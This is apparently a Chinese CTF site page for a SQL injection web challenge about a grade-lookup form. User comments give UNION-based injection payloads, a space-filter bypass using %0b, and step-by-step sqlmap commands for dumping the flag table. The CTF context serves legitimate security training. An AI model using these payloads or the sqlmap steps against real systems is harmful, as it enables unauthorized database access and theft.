成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 12893
提  示:
描  述:
来源山科大ctf
评论
jiangyou 4年前

http://t.csdn.cn/GCIkY

回复 1

Hobin 4年前

一个sqlmap就能完美解决

回复 0

MONSTEinCAT 4年前

鸡你太美

回复 1
阿厂 4年前

哎呦你干嘛

回复 0

肥肠粉 4年前

小黑子,哥哥下的蛋你别吃

回复 0

Sauexceed 4年前

小黑子

回复 0

yemur 4年前

id=-1' union select 1,2,3,skctf_flag from fl4g#

回复 0

lysandria 4年前

过滤了一些东西,空格用%0b绕过。payload:id=-1' union%0bselect%0bgroup_concat(skctf_flag),2,3,4%0bfrom fl4g#

回复 0

15338641414 4年前

输入框的sql注入

回复 0

Hey0iopklh 4年前

'闭合,union注入

回复 0

落叶满阶红 4年前

这题啊,,学了sqlmap使用方法。。自动干进去了,python2 sqlmap.py -u “URL地址” --data=”id=1” --current-db查询当前使用数据库,-D skctf(库名) --tables 查下面所有表,-T fl4g(表名)--columns列出所有的字段名,-C skctf_flag --dump列出字段内容,找到flag

回复 9

02 4年前

有的方法flag根本出不来

回复 0

w1707154109 4年前

超级简单的sql

回复 0

WriteUp

image
harry

2 金币

评分(26)

解题动态

千秋 攻破了该题 5小时前
倩123 攻破了该题 20小时前
Gaia 攻破了该题 1天前
shooter6567 攻破了该题 2天前
wznn18 攻破了该题 2天前
pakii 攻破了该题 3天前
domi 攻破了该题 3天前
YDG777 攻破了该题 3天前
re_void 攻破了该题 3天前
AOOOA 攻破了该题 3天前
DouBlesing 攻破了该题 4天前
LightPing 攻破了该题 4天前
ldj 攻破了该题 4天前
溯. 攻破了该题 5天前
zjb520 攻破了该题 5天前
Marttin 攻破了该题 6天前
zenghualin 攻破了该题 6天前
Ann 攻破了该题 6天前
kanderun 攻破了该题 7天前
rr5555 攻破了该题 7天前
问题反馈